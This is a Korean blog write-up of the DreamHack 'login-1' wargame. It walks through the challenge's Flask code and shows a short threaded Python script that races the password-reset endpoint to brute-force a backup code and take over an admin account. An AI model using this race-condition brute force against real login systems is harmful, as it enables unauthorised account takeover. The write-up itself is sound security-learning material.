본문 바로가기

DreamHack

[DreamHack] login-1

https://dreamhack.io/wargame/challenges/47/

 

login-1

python으로 작성된 로그인 기능을 가진 서비스입니다. "admin" 권한을 가진 사용자로 로그인하여 플래그를 획득하세요. Reference Server-side Basic

dreamhack.io

난이도: Level 2

userLevel = {
    0 : 'guest',
    1 : 'admin'
}

@app.route('/user/<int:useridx>')
def users(useridx):
    conn = get_db()
    cur = conn.cursor()
    user = cur.execute('SELECT * FROM user WHERE idx = ?;', [str(useridx)]).fetchone()

    if user:
        return render_template('user.html', user=user)

    return "<script>alert('User Not Found.');history.back(-1);</script>";

/user/{useridx} 페이지에는 useridx에 따라 유저 정보를 보여주고 있습니다. 

 

/user/1 경로에 접근해보면, admin 계정인 Apple 계정이 있는 것을 알 수 있습니다.

 

1~5까지 시도해보면 guest 계정인 유저도 존재하고, /user/5 경로에 접근해보면, admin 계정인 Dog 계정 또한 있는 것을 확인할 수 있습니다.

@app.route('/admin')
def admin():
    if session and (session['level'] == userLevel[1]):
        return FLAG

    return "Only Admin !"

app.run(host='0.0.0.0', port=8000)

/admin 경로에 접근하여 FLAG를 얻기 위해서는 userLevel이 1인 계정으로 로그인하면 됩니다. 

 

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
    if request.method == 'GET':
        return render_template('forgot.html')
    else:
        userid = request.form.get("userid")
        newpassword = request.form.get("newpassword")
        backupCode = request.form.get("backupCode", type=int)

        conn = get_db()
        cur = conn.cursor()
        user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
        if user:
            # security for brute force Attack.
            time.sleep(1)

            if user['resetCount'] == MAXRESETCOUNT:
                return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
            
            if user['backupCode'] == backupCode:
                newbackupCode = makeBackupcode()
                updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
                cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
                msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"

            else:
                updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
                cur.execute(updateSQL, (str(user['idx'])))
                msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
            
            conn.commit()
            return render_template("index.html", msg=msg)

        return "<script>alert('User Not Found.');history.back(-1);</script>";

forget_password 코드를 보면, userid, newpassword, backupCode 값을 받아 새로운 비밀번호를 설정할 수 있도록 해줍니다. 하지만, 5번 틀릴 경우 rest Count Exceed 경고가 뜨며 접속할 수 없게 됩니다. 

 

추가로, BruteForce 공격을 막기 위해 time.sleep(1) 코드가 추가되어 있지만, 이는 Race Condition 문제로 인해 계속해서 POST 요청을 시도하면 첫 번째 요청이 sleep(1) 을 수행하고 있을 동안 다른 스레드가 POST 요청이 가능해집니다. 

 

이를 코드로 구현하면 아래와 같이 구현할 수 있습니다. 

 

Exploit Code

import requests
import threading 
url = "http://host3.dreamhack.games:9475/forgot_password"

for i in range(100): 
    data = { "userid": "Dog", "newpassword": "Dog", "backupCode": i}
    print(data)
    thread = threading.Thread(target=requests.post, args=(url, data)) 
    thread.start()

 

패스워드를 Dog 으로 수정하여 로그인한 모습입니다. admin에 들어가시면 FLAG 를 획득하실 수 있습니다. 

'DreamHack' 카테고리의 다른 글

[DreamHack] Return to Library  (0) 2023.06.19
[DreamHack] web-ssrf  (0) 2023.06.17
[DreamHack] XSS Filtering Bypass  (1) 2023.06.15
[DreamHack] baby-sqlite  (0) 2023.06.15
[DreamHack] Command Injection Advanced  (0) 2023.06.13